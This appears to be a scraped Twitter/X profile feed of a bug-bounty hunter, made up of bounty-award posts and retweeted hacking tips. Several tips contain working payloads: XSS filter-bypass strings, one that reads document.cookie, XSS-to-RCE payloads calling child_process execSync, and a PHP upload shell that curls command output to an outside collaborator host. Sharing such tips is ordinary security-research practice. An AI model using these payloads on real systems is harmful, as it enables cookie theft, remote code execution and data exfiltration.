sahabalam @H_freaks1

just hacking Joined August 2019

Tweets

952
Followers

327
Following

5K
Likes

2K

sahabalam @H_freaks1

6 days ago

I earned $250 for my submission on @Bugcrowd #ItTakesACrowd

0 0 0 9 0

James Kettle @albinowax

a month ago

This is some really nice research! It's definitely worth trying these techniques against cryptocurrency extensions! marektoth.com/blog/dom-based…

3 53 312 19K 263

sahabalam @H_freaks1

6 months ago

Just scored a reward @intigriti, check my profile: app.intigriti.com/profile/hfreak… #HackWithIntigriti

1 0 1 88 0

sahabalam @H_freaks1

7 months ago

Just scored a reward @intigriti, check my profile: app.intigriti.com/profile/hfreak… #HackWithIntigriti

0 0 1 76 0

HackenProof @HackenProof

10 months ago

8 98 677 34K 117

Download Image

sahabalam @H_freaks1

11 months ago

Yay, I was awarded a $250 bounty on @Hacker0x01! hackerone.com/hfreak #TogetherWeHitHarder

0 0 3 141 0

bugcrowd @Bugcrowd

a year ago

What's your favorite note taking app?

97 8 129 25K 23

Kanhaiya Sharma 🇮🇳 @krishnsec

a year ago

#bugbounty life in nutsell >>> There are many pros & cons of doing full time bb specifically related to health ‼️

5 13 158 11K 58

Download Video

HackenProof @HackenProof

a year ago

11 85 640 23K 35

Download Image

Fat @fattselimi

2 years ago

I'm not a good hacker but i open my laptop daily and i try to find web related security issues🤷‍♂️

34 42 485 43K 36

Top Microsoft IIS Thread 🧵:👇 Here is how to find IIS bugs 1) Collect a huge number of targets, subdomains, and ports and even brutforceing the targets 2) Short the IIS services nuclei-templates/fuzzing/iis-shortname.yaml #BugBounty #BugBountytips #infosec @GodfatherOrwa

4 139 330 35K 367

Tushar Verma 🇮🇳 @e11i0t_4lders0n

2 years ago

First tool added in @recon_sage by @RootxRavi Join the waitlist to get access to the new generation reconnaissance platform reconsage.com/tools/scan-gmap #bugbounty #bugbountytips #bugbountytip

4 49 162 15K 93

Download Image

N$ @nav1n0x

2 years ago

Accessing `env.json` through URL = 404 Not Found, replace URL with IP of origin server =200 OK and loads of juicly info. #bugbounty

12 134 625 36K 310

Download Image

Md Ismail Šojal 🕷️ @0x0SojalSec

2 years ago

XSS payload with Alert Obfuscation, for bypass RegEx filters :⚡️ <img src="X" onerror=top[8680439..toString(30)](1337)> #infosec #cybersec #bugbountytip #xss

1 29 124 8K 76

RootMoksha Labs @RootMoksha

2 years ago

<> : Filtered/encoded ❌ "() : bypassed ✅ Final Payload : XSS"onfocus="prompt(document.cookie)"autofocus=" and let XSS Fire :) Credit:@Amr_MustafaAA #bugbountytips #bugbounty #bugbountytip #bugbounty

4 87 283 14K 132

Download Image

VAIDIK PANDYA @h4x0r_fr34k

2 years ago

Daily Notes : Day 77 Xss to RCE ?? Example Payloads (Windows): <img src=x onerror="alert(require('child_process').execSync('calc').toString());"> Example Payloads (Linux & MacOS): <img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">…

3 54 163 12K 151

RootMoksha Labs @RootMoksha

2 years ago

OOB RCE > Unauth + Unrestricted File Upload API Uploading files possible, but paths redirect to default page, blocking direct execution. Payload: <?php system('curl burp.collabo.com -d "data=$(id)"') ?> By:@shreyasrx #bugbountytips #bugbounty #bugbountytip #bugbounty

2 33 170 8K 74

Download Image

Fares @_2os5

2 years ago

I found this config.js file leaks many api_key and client_id and secret id I tried to connect to the service using Curl, but it didn't work @GodfatherOrwa @MrTuxracer @HusseiN98D #bugbountytips